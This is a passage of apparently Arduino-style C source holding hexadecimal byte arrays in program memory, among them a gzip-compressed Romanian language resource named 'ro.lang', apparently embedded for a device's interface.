0x3c, 0xc1, 0xba, 0x1e, 0x85, 0x80, 0x16, 0xca, 0x3d, 0x26, 0x91, 0xdb, 0x3f, 0xa2, 0x9a, 0x09, 0xa2, 0xd9, 0xfd, 0x8e, 0x2a, 0x00, 0x9e, 0x59, 0xff, 0x8e, 0xba, 0x0e, 0xad, 0xff, 0xf0, 0x60, 0x85, 0x6a, 0x0d, 0x6f, 0x66, 0x52, 0x87, 0x6d, 0x47, 0xd4, 0xe8, 0xc9, 0x0d, 0xe4, 0x3c, 0xe6, 0xd7, 0x36, 0xaf, 0xab, 0xaa, 0x59, 0xd5, 0x52, 0x8e, 0xaa, 0x57, 0xd0, 0x25, 0x0a, 0xe6, 0x04, 0x9d, 0x25, 0x68, 0xa1, 0x0b, 0x2a, 0xe2, 0xce, 0x47, 0x1f, 0x45, 0x8e, 0x7c, 0x3f, 0x5d, 0x28, 0x39, 0x7a, 0x16, 0xad, 0x22, 0x0f, 0x58, 0x79, 0xea, 0x1a, 0xcd, 0x12, 0x4d, 0x9f, 0xe9, 0x53, 0x6f, 0xba, 0xbe, 0xaf, 0xb3, 0x52, 0x77, 0xba, 0xb2, 0xfb, 0x44, 0x37, 0x4a, 0x57, 0x9a, 0x5e, 0x8c, 0x9d, 0xdb, 0x23, 0x6e, 0xfa, 0xa3, 0x95, 0x29, 0x31, 0x15, 0x4e, 0xf6, 0x83, 0xc9, 0x26, 0x3a, 0x9a, 0x92, 0x99, 0xe1, 0x18, 0xd7, 0x61, 0x48, 0x7b, 0x97, 0x9a, 0x64, 0x6c, 0x4f, 0xc0, 0x30, 0xd0, 0x03, 0x71, 0x20, 0xeb, 0x86, 0x3d, 0xba, 0x19, 0x07, 0x5e, 0x61, 0xf3, 0x78, 0xf0, 0xa3, 0xa3, 0xfd, 0x1d, 0xe9, 0x8c, 0x12, 0x04, 0x13, 0xea, 0x94, 0x66, 0xdc, 0xc4, 0x25, 0x28, 0x64, 0x22, 0xc2, 0xa8, 0x97, 0x1c, 0x6a, 0xeb, 0xe2, 0x5f, 0xd7, 0x50, 0xf2, 0xa4, 0xbb, 0x55, 0x60, 0x95, 0xba, 0xae, 0xa4, 0x06, 0x00, 0xa9, 0x56, 0x67, 0xc4, 0xed, 0xf7, 0x12, 0x03, 0xf1, 0x72, 0xf1, 0xa1, 0x95, 0xa2, 0x09, 0xb1, 0x0e, 0x1c, 0xa2, 0x6d, 0x64, 0x23, 0x3c, 0xe7, 0x30, 0x4f, 0x8c, 0x60, 0x6d, 0x2e, 0x33, 0x5f, 0xba, 0x7a, 0x9a, 0xc9, 0x19, 0x86, 0xc2, 0xc4, 0xf8, 0xf8, 0x42, 0x29, 0xd9, 0x3b, 0x62, 0xa4, 0x0e, 0x82, 0xe4, 0x16, 0x8a, 0x5d, 0x9d, 0x07, 0x14, 0x75, 0x60, 0x0c, 0xb4, 0x2a, 0x76, 0x38, 0x51, 0x0e, 0x24, 0x8c, 0xd1, 0x72, 0xa0, 0x62, 0x99, 0x5f, 0xd8, 0xd5, 0x87, 0x07, 0x24, 0xd4, 0x3d, 0xeb, 0x99, 0xbc, 0x27, 0xd0, 0x60, 0xd1, 0xc4, 0xb1, 0xfb, 0x6f, 0x32, 0x4d, 0xb3, 0xae, 0x27, 0xc4, 0x78, 0x31, 0x12, 0x8a, 0x3d, 0x27, 0xe2, 0x52, 0xa0, 0xd7, 0xab, 0x40, 0x1e, 0xfa, 0xef, 0xa8, 0xa8, 0x3c, 0x31, 0xfa, 0xf2, 0xcf, 0x71, 0x13, 0xae, 0x7f, 0x85, 0xcc, 0xa3, 0x4f, 0xee, 0x18, 0xaf, 0x7a, 0x64, 0xc5, 0x4f, 0x20, 0x22, 0xce, 0xdf, 0xf6, 0xb6, 0xf0, 0x17, 0x5b, 0x06, 0x27, 0x3c, 0xd8, 0xce, 0x93, 0x44, 0x13, 0x10, 0xd7, 0x75, 0x41, 0x78, 0x4b, 0x69, 0xd2, 0x2a, 0xe2, 0xd3, 0x4c, 0x0a, 0x11, 0xeb, 0x8e, 0x13, 0xc8, 0x78, 0xca, 0xbd, 0x46, 0xa7, 0xb7, 0xa0, 0xad, 0xf9, 0x45, 0xfb, 0x28, 0x26, 0xb4, 0x1d, 0xe0, 0x68, 0xe2, 0x9d, 0xfc, 0x8f, 0xf7, 0x31, 0xcf, 0x61, 0x10, 0x1e, 0x6e, 0xe0, 0x93, 0x75, 0xf0, 0xbd, 0xbf, 0xff, 0x07, 0x05, 0x46, 0x7e, 0x48, 0xe3, 0x1f, 0x00, 0x00};\nconst char rolang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x72, 0x6f, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0x4d, 0x6f, 0x1c, 0xc7, 0x11, 0x3d, 0xc7, 0xbf, 0xa2, 0xc5, 0x93, 0x0c, 0x90, 0x1b, 0x49, 0x8e, 0x0d, 0xc7, 0x40, 0x0e, 0x8c, 0x48, 0x05, 0x8c, 0x65, 0x99, 0xd0, 0x4a, 0x4e, 0x0e, 0x02, 0x88, 0xde, 0x99, 0x5e, 0xb2, 0x95, 0x99, 0xe9, 0x41, 0xcf, 0xcc, 0x52, 0x51, 0x90, 0x93, 0xee, 0xb9, 0xdb, 0xba, 0xe5, 0x07, 0xf8, 0x4f, 0x48, 0x07, 0xfe, 0xac, 0xbc, 0x57, 0xd5, 0x3d, 0x1f, 0x2b, 0x4a, 0x36, 0x10, 0x03, 0x04, 0x76, 0xd9, 0xd3, 0x53, 0x5d, 0x55, 0x5d, 0xf5, 0xea, 0x55, 0xed, 0xbf, 0x3e, 0x33, 0xe6, 0xa0, 0xb2, 0xcd, 0xe5, 0xc1, 0x37, 0xe6, 0x20, 0x86, 0x83, 0x43, 0xfe, 0x7f, 0x6d, 0x63, 0xe3, 0x75, 0xe9, 0xf8, 0xd9, 0xe9, 0x93, 0x9b, 0x9f, 0xce, 0x4e, 0xf5, 0x41, 0xe9, 0xbb, 0xa2, 0xb2, 0xbe, 0x76, 0x51, 0x9e, 0x15, 0xae, 0xeb, 0x4d, 0x1b, 0x83, 0x77, 0x45, 0x6f, 0xf0, 0xdd, 0x99, 0x60, 0xca, 0xb0, 0xb3, 0xe5, 0xfb, 0x37, 0xc6, 0x9a, 0x22, 0x34, 0x85, 0x6b, 0xfb, 0xa1, 0x1a, 0xbc, 0x29, 0x9d, 0xe9, 0xb1, 0xc1, 0x46, 0x67, 0x6e, 0x7e, 0xf4, 0xa6, 0x2b, 0x42, 0x3b, 0x44, 0x6f, 0x5c, 0x39, 0x14, 0xf6, 0xe6, 0xad, 0x0f, 0x8d, 0xad, 0xdc, 0xea, 0x45, 0x73, 0xba, 0x3e, 0xff, 0xfa, 0xc1, 0x57, 0x5f, 0x99, 0xce, 0x9b, 0xf5, 0xc9, 0xb7, 0x47, 0x43, 0x65, 0x9a, 0xc1, 0xd8, 0xc1, 0x6c, 0x03, 0x0e, 0x2a, 0xa2, 0xb3, 0x38, 0xa2, 0x75, 0x4d, 0x1f, 0xb1, 0xda, 0xf5, 0x5b, 0x57, 0x51, 0x70, 0x12, 0xb6, 0x32, 0xe7, 0xa1, 0x37, 0xb6, 0x7d, 0xff, 0x06, 0xfb, 0xcc, 0x66, 0xb8, 0x3c, 0xc2, 0xe2, 0x9d, 0x17, 0xcd, 0x8b, 0xe6, 0x79, 0xef, 0x2b, 0xff, 0x9a, 0xe7, 0x1c, 0x51, 0x60, 0x6d, 0x3d, 0x84, 0x50, 0xef, 0x36, 0x7a, 0x5f, 0x39, 0x13, 0xdd, 0xcd, 0x5b, 0x57, 0xa9, 0x66, 0xb0, 0xb0, 0x0d, 0xaf, 0x7d, 0xef, 0x77, 0x4e, 0xde, 0x55, 0x1b, 0xbb, 0xb0, 0xed, 0xa1, 0x44, 0x15, 0x3a, 0xb1, 0xb2, 0xb0, 0x25, 0x0c, 0xd9, 0xd9, 0xca, 0xe3, 0xf8, 0xbf, 0xf9, 0x2d, 0xed, 0xeb, 0x8a, 0xe8, 0x3b, 0x67, 0xde, 0xfd, 0xdc, 0x18, 0xd8, 0xd9, 0x94, 0x36, 0xc2, 0x72, 0x73, 0x76, 0x7a, 0x7a, 0x6a, 0xbe, 0xbe, 0xf7, 0x60, 0x75, 0xff, 0xbe, 0x88, 0x87, 0x39, 0x9b, 0x2a, 0x14, 0x57, 0xce, 0xbe, 0x86, 0x8f, 0x3a, 0x98, 0x86, 0x17, 0xfa, 0xe8, 0xe2, 0x00, 0x8d, 0x1a, 0x5f, 0x78, 0x78, 0x70, 0x1b, 0x5d, 0xb1, 0x73, 0xcd, 0xcd, 0xdb, 0xf7, 0x6f, 0xe0, 0x92, 0x1f, 0x5c, 0xc4, 0x01, 0xe2, 0x25, 0x28, 0x7a, 0x59, 0xb9, 0x1a, 0xf6, 0xc3, 0x46, 0x2a, 0x5e, 0xb9, 0x4b, 0xf8, 0x0d, 0x3a, 0x37, 0xe6, 0xe6, 0xad, 0x8d, 0xd6, 0x94, 0xbb, 0x6e, 0x45, 0x89, 0xd6, 0x37, 0x50, 0x13, 0xca, 0x59, 0xec, 0x31, 0x83, 0xda, 0xbf, 0xa2, 0x3d, 0x4f, 0x06, 0xb3, 0xc3, 0xc9, 0xd1, 0x6d, 0x21, 0x97, 0x32, 0x2b, 0x6b, 0xec, 0xe2, 0x1e, 0x0b, 0x0b, 0x1d, 0xcc, 0x8b, 0x03, 0x58, 0xd1, 0x7b, 0x11, 0xb2, 0x89, 0x43, 0x6f, 0x5f, 0xbe, 0x38, 0x38, 0xd4, 0x9d, 0x36, 0x59, 0x5b, 0x7a, 0xe8, 0x81, 0x5b, 0xae, 0xdb, 0xca, 0xf5, 0x7a, 0x0b, 0x15, 0x04, 0xdb, 0xca, 0xf0, 0x8f, 0x3b, 0x71, 0xf1, 0x49, 0x2a, 0x7c, 0x79, 0x62, 0x0b, 0x6c, 0x87, 0x79, 0xb6, 0xf0, 0x87, 0x78, 0x6c, 0x45, 0x52, 0xd8, 0xb9, 0xd2, 0xdd, 0xfc, 0x48, 0x6d, 0x83, 0x8d, 0x86, 0x5b, 0x78, 0xe5, 0xd4, 0x0c, 0x76, 0xc8, 0xbd, 0x74, 0x70, 0x4c, 0xed, 0x0b, 0x9e, 0xda, 0x46, 0xb5, 0xb6, 0x70, 0xb8, 0xe2, 0x82, 0x37, 0x87, 0x95, 0xd7, 0x9e, 0x0e, 0x59, 0x5a, 0xb1, 0x82, 0xb1, 0xe7, 0xc3, 0xa6, 0x82, 0xe3, 0x18, 0x0d, 0x08, 0x45, 0x48, 0x6c, 0x86, 0x1c, 0x8c, 0x22, 0x28, 0xeb, 0xb0, 0x85, 0x37, 0x45, 0x33, 0xf7, 0xaa, 0xad, 0xd4, 0xd3, 0x78, 0x58, 0xe2, 0x12, 0xac, 0xc8, 0x8d, 0xf2, 0x31, 0x2a, 0xef, 0xa8, 0x9b, 0x28, 0x9b, 0x22, 0xb1, 0xc0, 0x4b, 0x08, 0xb5, 0x43, 0x3c, 0xf4, 0x35, 0x76, 0xf1, 0x9e, 0x7f, 0x2f, 0x77, 0xbb, 0xb1, 0x8d, 0x97, 0x7f, 0xb3, 0x59, 0x3b, 0xa7, 0xd7, 0xd8, 0xb5, 0xf4, 0x74, 0x7a, 0x5f, 0x03, 0xd1, 0xc1, 0xdd, 0xd0, 0x94, 0x17, 0x57, 0xe1, 0xe1, 0x60, 0xab, 0xf7, 0x6f, 0x0e, 0xe9, 0xdd, 0xa1, 0xf1, 0xfa, 0x88, 0x86, 0x77, 0xad, 0xe5, 0x73, 0xe3, 0x54, 0x6e, 0x35, 0xb4, 0x30, 0x20, 0xc9, 0x19, 0xc6, 0xc8, 0x2b, 0x11, 0x94, 0x8f, 0xbc, 0x61, 0xa0, 0x6f, 0x86, 0x46, 0xee, 0xfd, 0x5c, 0xf7, 0x70, 0xa9, 0x1e, 0x2a, 0xb8, 0xdb, 0x37, 0xdb, 0x10, 0x6b, 0x1a, 0xeb, 0xcd, 0xce, 0x23, 0xe2, 0xf9, 0xf5, 0x1b, 0xa4, 0xf9, 0xef, 0x66, 0x59, 0x7e, 0xb4, 0x19, 0xfa, 0x3e, 0x34, 0x92, 0xec, 0xb5, 0x29, 0x90, 0x16, 0xbd, 0x9c, 0x6b, 0xeb, 0xf9, 0xed, 0x04, 0x09, 0x09, 0x91, 0xdd, 0x0d, 0x9d, 0x88, 0x88, 0xae, 0x0a, 0xb6, 0xe4, 0x7b, 0x4f, 0x1d, 0x76, 0xe2, 0x16, 0xe0, 0x02, 0x79, 0xd2, 0x15, 0x56, 0xe4, 0xad, 0xf1, 0xc9, 0x23, 0x75, 0xb1, 0xf3, 0x65, 0x27, 0xab, 0xeb, 0xb3, 0x13, 0xe6, 0xad, 0xac, 0xda, 0xbe, 0xb7, 0xc5, 0x3f, 0x64, 0xfd, 0x18, 0xdf, 0xf2, 0x72, 0xe7, 0xfa, 0x1e, 0xe8, 0xa4, 0xfb, 0x9d, 0xe4, 0x82, 0xac, 0xd3, 0x22, 0xae, 0x9d, 0xf1, 0x33, 0x2f, 0x5c, 0xc0, 0x63, 0x72, 0xde, 0xd9, 0x93, 0x47, 0xdf, 0xe3, 0x43, 0xe4, 0x56, 0x15, 0x57, 0x9e, 0x05, 0xf8, 0x52, 0x16, 0x8a, 0x2b, 0xdb, 0x34, 0x4e, 0x16, 0x1f, 0x42, 0xab, 0x4a, 0xbd, 0xe0, 0x76, 0x1e, 0x21, 0xc5, 0xc5, 0x93, 0x09, 0x14, 0x70, 0xaf, 0xd5, 0x2e, 0xbf, 0xd7, 0xc9, 0x55, 0x5d, 0x24, 0x79, 0x6b, 0xf9, 0x4f, 0x33, 0xbb, 0x0f, 0x7d, 0x12, 0xb2, 0xdc, 0x73, 0x92, 0xfe, 0x97, 0x00, 0xcf, 0x9b, 0xa2, 0xab, 0x91, 0x06, 0x79, 0xcb, 0x59, 0x83, 0x9b, 0xef, 0x87, 0x38, 0x93, 0x22, 0xa9, 0x18, 0x9a, 0x0b, 0xfa, 0xee, 0xa2, 0xc7, 0xc5, 0x88, 0xfa, 0xbe, 0x6e, 0x15, 0xfe, 0xa0, 0x32, 0xc3, 0x99, 0xb7, 0xcf, 0xd8, 0x55, 0x6f, 0x34, 0xee, 0x9a, 0xbb, 0x9e, 0x84, 0x41, 0x45, 0x20, 0xf6, 0x44, 0x49, 0xaa, 0x9f, 0xdd, 0x6e, 0x4b, 0xb9, 0xa2, 0x63, 0xe0, 0xf5, 0x70, 0x69, 0xf3, 0xd2, 0x85, 0xaa, 0xe8, 0xe4, 0xd9, 0xc3, 0x2a, 0x34, 0x6a, 0xd2, 0xf1, 0x39, 0x2f, 0x06, 0xb1, 0x97, 0x2c, 0x48, 0x3e, 0x80, 0xe6, 0xf1, 0x3a, 0xfa, 0x5e, 0xa5, 0x0f, 0x6d, 0xb4, 0xc4, 0x06, 0x17, 0xf5, 0x29, 0x95, 0xbd, 0x60, 0x4c, 0x47, 0xa0, 0xa5, 0x5a, 0xa7, 0xdf, 0xa5, 0x22, 0xc0, 0x02, 0xd5, 0x75, 0xa8, 0x37, 0x5a, 0x52, 0x9e, 0x0c, 0xc8, 0xa0, 0xa8, 0xaf, 0xda, 0x78, 0xe9, 0x7a, 0xf1, 0xff, 0xcd, 0x4f, 0x92, 0xe2, 0x63, 0xfc, 0x5c, 0xe4, 0xab, 0x3e, 0x32, 0x8f, 0x52, 0x42, 0x32, 0x09, 0x89, 0xea, 0xeb, 0xe4, 0x0d, 0x89, 0x52, 0xe2, 0x4a, 0xab, 0xbe, 0x6e, 0xdf, 0xfd, 0xb7, 0x61, 0x16, 0xe3, 0xa3, 0x34, 0x8f, 0x4f, 0x4f, 0x58, 0x5b, 0x6c, 0xb5, 0x01, 0x00, 0x20, 0x2b, 0x4a, 0x56, 0x15, 0xd3, 0xdb, 0x4d, 0x45, 0x50, 0x46, 0x15, 0x03, 0x3c, 0x08, 0x26, 0xdd, 0x65, 0x16, 0x77, 0xf4, 0xf1, 0x95, 0xaf, 0x37, 0x78, 0x48, 0x78, 0x87, 0xc1, 0xa5, 0xfb, 0x1c, 0x60, 0xd8, 0x06, 0x3f, 0x02, 0x42, 0x3e, 0x5f, 0xc3, 0x1d, 0x36, 0x10, 0x78, 0x90, 0x79, 0x47, 0x46, 0x2c, 0xde, 0x42, 0x09, 0x6b, 0xae, 0xdd, 0x86, 0x30, 0xb0, 0x03, 0xe6, 0xa4, 0x4a, 0xd3, 0xf8, 0x8d, 0xaf, 0x92, 0x5c, 0xba, 0x03, 0x5a, 0xd1, 0x40, 0xc6, 0xb4, 0x47, 0x42, 0x13, 0x40, 0x59, 0xfa, 0x68, 0x0d, 0xde, 0x42, 0xa1, 0xd8, 0x60, 0xa9, 0xc3, 0x0b, 0x0a, 0xe2, 0xc0, 0xb5, 0x14, 0x4c, 0x77, 0x78, 0xd4, 0x7a, 0x8a, 0x2d, 0x01, 0xa8, 0x80, 0x42, 0xda, 0x5c, 0x4a, 0x28, 0x11, 0xfe, 0xe0, 0x42, 0x6c, 0x9b, 0x12, 0x6e, 0xe6, 0xc6, 0x63, 0xc1, 0x42, 0xec, 0xab, 0xbc, 0x7c, 0x30, 0x0f, 0xb5, 0xa2, 0xa7, 0xe2, 0xc1, 0xc5, 0x5c, 0x79, 0x99, 0x8b, 0xd0, 0x33, 0x34, 0x65, 0x82, 0x21, 0xfd, 0x2a, 0xd6, 0x3e, 0x02, 0xfa, 0xd2, 0xff, 0x22, 0xa0, 0x65, 0x86, 0x11, 0xf5, 0x6c, 0xf6, 0x3f, 0xaa, 0xcd, 0x17, 0x0f, 0xe8, 0x6f, 0x6c, 0xb2, 0x88, 0xb1, 0xe4, 0x23, 0x54, 0xa5, 0x41, 0x11, 0x48, 0x8c, 0xdb, 0x77, 0x6a, 0x0e, 0xda, 0x74, 0x7d, 0xf2, 0xd5, 0x95, 0x84, 0x45, 0x82, 0x1e, 0x8f, 0x12, 0x29, 0xcf, 0xc4, 0x3d, 0xee, 0x56, 0x11, 0xb3, 0x7b, 0x11, 0xf7, 0x0c, 0x2d, 0xa3, 0x01, 0xc1, 0x2d, 0xf5, 0x21, 0xc3, 0x4e, 0x15, 0xe2, 0x2a, 0x79, 0x48, 0xc1, 0x67, 0xe6, 0xa2, 0xf5, 0x11, 0x21, 0x7f, 0x20, 0x12, 0xf3, 0x80, 0xd6, 0x33, 0x0c, 0xe4, 0x08, 0x5c, 0xc2, 0x2b, 0x3f, 0x34, 0xac, 0x33, 0xa2, 0x1f, 0x4f, 0x72, 0xad, 0x3c, 0x83, 0x7a, 0x74, 0xd7, 0x9d, 0x7d, 0xf5, 0x66, 0x28, 0x10, 0xf2, 0xdd, 0xec, 0xf9, 0xb7, 0x74, 0x76, 0xe8, 0xaf, 0xc4, 0xb0, 0x63, 0xad, 0x1b, 0x8d, 0xdb, 0x05, 0xad, 0xc8, 0xc9, 0xea, 0x04, 0x46, 0xbf, 0xee, 0x62, 0xf6, 0x1c, 0x12, 0x97, 0x0e, 0xc9, 0x22, 0x50, 0x15, 0x59, 0x7b, 0x70, 0xe3, 0x06, 0x75, 0x4f, 0x70, 0xbd, 0xb5, 0xe0, 0x2b, 0xbd, 0xcb, 0x8e, 0xc9, 0xf0, 0x3b, 0x73, 0xcd, 0xf3, 0xc6, 0x09, 0x2e, 0x08, 0x16, 0x43, 0x4d, 0xc0, 0xa6, 0x70, 0x03, 0x94, 0xe7, 0x00, 0x26, 0x99, 0x2e, 0xf9, 0xd1, 0xc7, 0x6e, 0x75, 0x3c, 0x9b, 0x41, 0x6d, 0x3b, 0x8f, 0x88, 0xb5, 0x52, 0x32, 0xeb, 0x50, 0x92, 0xfb, 0x24, 0xb6, 0xd3, 0x0d, 0x0d, 0xf9, 0x1d, 0x4b, 0xf4, 0xa4, 0x8d, 0x60, 0xfc, 0x92, 0x96, 0xbe, 0xfb, 0x0f, 0x08, 0x82, 0x7d, 0x0d, 0x4f, 0xe0, 0x4e, 0x10, 0x28, 0x31, 0x88, 0x52, 0x19, 0x0d, 0x7a, 0x77, 0xb8, 0x6f, 0x3c, 0xb4, 0x75, 0x04, 0x04, 0xba, 0xcc, 0xbd, 0xb2, 0xb5, 0x97, 0xca, 0x84, 0xe3, 0x51, 0x7a, 0x43, 0xa4, 0x4b, 0x41, 0x96, 0x80, 0x59, 0x49, 0x51, 0x90, 0x5c, 0xd7, 0x2a, 0xcc, 0xb0, 0x94, 0x46, 0x8f, 0x5c, 0x03, 0x57, 0xcb, 0x50, 0x1d, 0xfb, 0x8b, 0xae, 0x0f, 0xad, 0xe0, 0xe1, 0xb3, 0xe3, 0xa7, 0xcf, 0x40, 0x06, 0xd6, 0xcf, 0xbe, 0x3f, 0x9f, 0x1e, 0x8f, 0x4f, 0xd2, 0x52, 0xde, 0x9b, 0xf6, 0x5c, 0xc3, 0xe6, 0x8b, 0xb0, 0xdd, 0xca, 0x22, 0x5d, 0xed, 0x7a, 0x6f, 0xb8, 0x08, 0x15, 0x53, 0xbd, 0xd8, 0x84, 0xd0, 0x6b, 0x71, 0x15, 0x07, 0x67, 0x3c, 0x07, 0xb1, 0x70, 0x69, 0x1d, 0x07, 0x01, 0x59, 0x74, 0xd9, 0x35, 0x40, 0x36, 0x77, 0x11, 0xc1, 0x0d, 0x42, 0xad, 0xc4, 0x1d, 0xa5, 0x2c, 0x99, 0x58, 0x0a, 0x10, 0x82, 0x59, 0xc3, 0x4b, 0x43, 0x2e, 0xff, 0x7b, 0xfb, 0x4f, 0xdc, 0x6b, 0xfb, 0xc9, 0x57, 0x74, 0xeb, 0x05, 0x79, 0xe1, 0x27, 0xe5, 0x4f, 0x57, 0x7d, 0xe9, 0x1a, 0x17, 0xc9, 0x34, 0x13, 0xe0, 0xe4, 0x2d, 0x09, 0x39, 0x84, 0x15, 0x1f, 0x21, 0xcc, 0xfd, 0x58, 0x2f, 0x6c, 0xbf, 0x4a, 0x25, 0x95, 0x79, 0x31, 0x9e, 0x85, 0xdb, 0x06, 0x38, 0x13, 0x51, 0xa6, 0x34, 0x9c, 0x91, 0x78, 0x64, 0xb4, 0x92, 0x21, 0x50, 0x2c, 0x40, 0x6c, 0x04, 0x93, 0x24, 0xea, 0x58, 0xe5, 0xf0, 0x7c, 0x4a, 0x96, 0x8c, 0xac, 0x6e, 0x7a, 0xa1, 0xd9, 0xd1, 0xcd, 0x53, 0x01, 0x81, 0x0c, 0xe8, 0x1a, 0x9a, 0xa2, 0xbf, 0xa5, 0x3f, 0xc0, 0x0a, 0x42, 0x19, 0x9b, 0xa7, 0x8a, 0xb8, 0xca, 0x0d, 0x43, 0x35, 0x14, 0x10, 0x21, 0x00, 0x0a, 0x00, 0x27, 0xc8, 0x8f, 0x8d, 0x87, 0x72, 0x46, 0x61, 0x93, 0x60, 0x62, 0x70, 0x52, 0x2d, 0x29, 0x3d, 0x13, 0xcc, 0x1a, 0xa1, 0xb0, 0x9b, 0xda, 0x84, 0xc4, 0xea, 0xe0, 0x49, 0x6d, 0x25, 0xae, 0x8f, 0x1e, 0xdc, 0xbb, 0xf7, 0x47, 0x23, 0xda, 0x06, 0x10, 0x79, 0x11, 0x06, 0x1a, 0xd9, 0xbb, 0x42, 0xc8, 0xeb, 0xbb, 0x9f, 0xeb, 0x36, 0xc0, 0xd6, 0x9d, 0x1d, 0x79, 0x38, 0xb1, 0x61, 0xf5, 0x2b, 0x6b, 0x84, 0x79, 0x28, 0x30, 0x36, 0xc3, 0xa8, 0x89, 0x36, 0xca, 0x1e, 0xa7, 0x47, 0x23, 0x33, 0x54, 0xc1, 0x96, 0xea, 0xb3, 0xa1, 0x90, 0x27, 0xec, 0xe5, 0xc4, 0x57, 0x33, 0x1c, 0x54, 0x68, 0x1a, 0x1b, 0x88, 0x9d, 0x15, 0x66, 0xdb, 0x13, 0x64, 0x5a, 0x5f, 0xa6, 0x26, 0x88, 0x4f, 0xab, 0x85, 0x84, 0x89, 0x33, 0xb3, 0x37, 0x02, 0x52, 0xfe, 0x68, 0x1b, 0x81, 0xcf, 0x5b, 0x2a, 0x20, 0x6b, 0x8b, 0x5f, 0xd4, 0xda, 0x8c, 0x11, 0x1b, 0x67, 0xb1, 0x6d, 0x8c, 0x98, 0x73, 0xc5, 0xb3, 0x4a, 0x7b, 0x1b, 0x62, 0x1d, 0x25, 0x12, 0x5c, 0x72, 0xad, 0x9b, 0xc5, 0x00, 0xeb, 0x08, 0x22, 0x80, 0x9d, 0x84, 0xd0, 0xf0, 0x1c, 0x0d, 0x29, 0x70, 0x18, 0x21, 0x68, 0x3c, 0xf7, 0x63, 0x2b, 0x20, 0x9a, 0x9a, 0x41, 0xba, 0xe0, 0x84, 0x9e, 0xe9, 0x85, 0x74, 0xdc, 0x21, 0x3d, 0x90, 0x3a, 0x55, 0x86, 0x82, 0x16, 0x37, 0xf6, 0xb7, 0x60, 0xd3, 0x7e, 0x6c, 0x48, 0x19, 0xb8, 0xd2, 0xc8, 0xf4, 0xe2, 0x03, 0x76, 0x0d, 0x12, 0xa4, 0x8c, 0x25, 0x37, 0x35, 0xae, 0xa4, 0xdd, 0x9b, 0xb1, 0x86, 0x69, 0x96, 0x20, 0x1a, 0x36, 0x6e, 0x34, 0x79, 0x1d, 0x44, 0xff, 0x0c, 0xa4, 0xac, 0x0a, 0x6a, 0xb1, 0x28, 0xdd, 0xed, 0x07, 0xe0, 0x14, 0xd9, 0xa3, 0x1f, 0xf4, 0x86, 0x36, 0xc8, 0xad, 0xd4, 0xc6, 0xc9, 0xd9, 0xd0, 0x7e, 0x68, 0x42, 0x57, 0x0c, 0x4c, 0x61, 0x89, 0x76, 0x12, 0x19, 0xcb, 0x8e, 0xc6, 0x6b, 0x6d, 0x9f, 0x7a, 0xef, 0xd4, 0xa0, 0x31, 0x12, 0x26, 0xb1, 0xf0, 0xd4, 0x76, 0x40, 0x70, 0x43, 0x11, 0x54, 0x5b, 0xbc, 0x92, 0xac, 0x86, 0x8e, 0xa2, 0xb1, 0x04, 0x62, 0x32, 0xb3, 0x12, 0x96, 0x26, 0x91, 0x57, 0xb9, 0x23, 0xbb, 0xf0, 0x48, 0x2f, 0x07, 0x13, 0x4b, 0x6c, 0xe6, 0x03, 0xa7, 0x92, 0x7c, 0x03, 0x03, 0x96, 0xb9, 0xb1, 0x21, 0x1e, 0x8a, 0xb3, 0x35, 0xa0, 0xd8, 0x77, 0x22, 0x60, 0xea, 0x96, 0x05, 0xaf, 0x5a, 0xe4, 0x09, 0x8c, 0x4a, 0xe6, 0x0d, 0xa9, 0xa5, 0xa6, 0x7b, 0x02, 0x7a, 0x50, 0xd8, 0x32, 0xac, 0xe6, 0x55, 0xf0, 0x02, 0x64, 0xb0, 0xf3, 0xda, 0x21, 0xfd, 0xc0, 0xaf, 0x82, 0x3f, 0x4c, 0xf5, 0xc8, 0x70, 0xf7, 0x2b, 0xb7, 0x32, 0xbb, 0x07, 0xab, 0x7b, 0x0a, 0x0c, 0x4a, 0xb1, 0xf0, 0xaa, 0xc0, 0x8c, 0x90, 0xa3, 0xad, 0xcf, 0x55, 0x4e, 0x28, 0x96, 0x82, 0x04, 0x6d, 0x29, 0x04, 0x39, 0xbb, 0x21, 0x76, 0x63, 0x69, 0x49, 0x47, 0x92, 0xbb, 0x1d, 0x98, 0xd4, 0x2c, 0xb1, 0xd7, 0x96, 0x90, 0xcc, 0x63, 0x16, 0x09, 0xc9, 0x31, 0x92, 0xb3, 0xa7, 0x97, 0x89, 0x61, 0xee, 0xea, 0x2d, 0xca, 0x8d, 0x29, 0xb2, 0xf7, 0x9f, 0x43, 0xc5, 0xc7, 0x43, 0x73, 0x09, 0x38, 0xca, 0x44, 0x33, 0x31, 0x29, 0x7c, 0x16, 0x03, 0xe1, 0xb3, 0x53, 0xa2, 0xca, 0x4c, 0xd5, 0x69, 0xc6, 0x17, 0xf7, 0x97, 0x54, 0x6e, 0xa1, 0x66, 0x6b, 0xbb, 0xee, 0x3a, 0xc4, 0x52, 0x53, 0x2e, 0x86, 0xca, 0xfe, 0x36, 0x8a, 0xbe, 0x7f, 0xf3, 0x51, 0x55, 0xad, 0xdf, 0x4c, 0x2a, 0x7e, 0xfd, 0xcb, 0x2a, 0xee, 0xf7, 0x7d, 0xb9, 0x52, 0xe4, 0xea, 0x39, 0x21, 0x02, 0xc1, 0x25, 0x73, 0x99, 0x85, 0x08, 0x94, 0x9e, 0xd2, 0x69, 0x83, 0x8c, 0x34, 0x60, 0x5e, 0x25, 0x23, 0xff, 0xbf, 0xbb, 0x58, 0xaa, 0x69, 0x5b, 0x66, 0xe5, 0x79, 0x88, 0xbd, 0x36, 0x51, 0x52, 0x5f, 0x13, 0xf4, 0xca, 0x22, 0x8e, 0xd3, 0x4d, 0xe3, 0x4c, 0x61, 0x5f, 0x89, 0x5f, 0x3e, 0x05, 0x45, 0x30, 0xe4, 0x2e, 0xf1, 0xdc, 0x45, 0x62, 0x99, 0xf2, 0x4b, 0x82, 0x14, 0x1f, 0xd6, 0x3a, 0x0e, 0x99, 0x93, 0x65, 0x00, 0xba, 0x62, 0x11, 0xd1, 0x6d, 0x59, 0x74, 0xa5, 0x01, 0xcb, 0x9c, 0x90, 0xbc, 0xfa, 0xd6, 0xc3, 0x72, 0x33, 0xbb, 0xdf, 0x16, 0x66, 0x3b, 0x6e, 0x51, 0x80, 0xc9, 0x51, 0xc3, 0xa3, 0x9d, 0x13, 0x7f, 0x2f, 0xe5, 0x52, 0x89, 0xca, 0xfe, 0x73, 0xcf, 0x49, 0x33, 0x8f, 0xd3, 0x21, 0x5b, 0x8f, 0x3a, 0x12, 0x6f, 0x7f, 0x13, 